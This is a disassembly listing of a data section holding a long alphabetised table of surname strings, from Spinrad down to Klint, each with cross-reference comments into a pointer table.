aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o
aShia db 'Shia',0 ; DATA XREF: ___:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o
aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co
aSen db 'Sen',0 ; DATA XREF: ___:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o
aRush db 'Rush',0 ; DATA XREF: ___:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: ___:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o
align 4
aMazzali db 'Mazzali',0
aMay db 'May',0
aMauzy db 'Mauzy',0
align 10h
aMattson db 'Mattson',0
aMatsukata db 'Matsukata',0
align 4
aMatarazzo db 'Matarazzo',0
align 10h
aMatalka db 'Matalka',0
aMass db 'Mass',0
align 10h
aMarubini db 'Marubini',0
align 4
aMarton db 'Marton',0
align 4
aMartochio db 'Martochio',0
align 10h
aMartinez db 'Martinez',0
align 4
aMarques db 'Marques',0
aMargetts db 'Margetts',0
align 10h
aMargalit db 'Margalit',0
align 4
aMarcus db 'Marcus',0
align 4
aMarchbanks db 'Marchbanks',0
align 10h
aMarch db 'March',0
align 4
aMantovan db 'Mantovan',0
align 4
aManganiello db 'Manganiello',0
aMandel db 'Mandel',0
align 4
aManalis db 'Manalis',0
aMalova db 'Malova',0
align 4
aMaller db 'Maller',0
align 10h
aMalatesta db 'Malatesta',0
align 4
aMaisano db 'Maisano',0
aMaineHershey db 'Maine-Hershey',0
align 4
aMaier db 'Maier',0
align 4
aMahony db 'Mahony',0
align 4
aMaggio db 'Maggio',0
align 4
aMadigan db 'Madigan',0
aMacy db 'Macy',0
align 4
aMacmillan db 'MacMillan',0
align 4
aMackenney db 'Mackenney',0
align 4
aMacintyre db 'Macintyre',0
align 10h
aMaceachern db 'Maceachern',0
align 4
aMacdonald db 'Macdonald',0
align 4
aMaccormac db 'Maccormac',0
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co
aLine db 'Line',0 ; DATA XREF: ___:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co
aLim db 'Lim',0 ; DATA XREF: ___:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o
; ___:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo
; ___:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o
aLa db 'La',0 ; DATA XREF: ___:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o
align 4
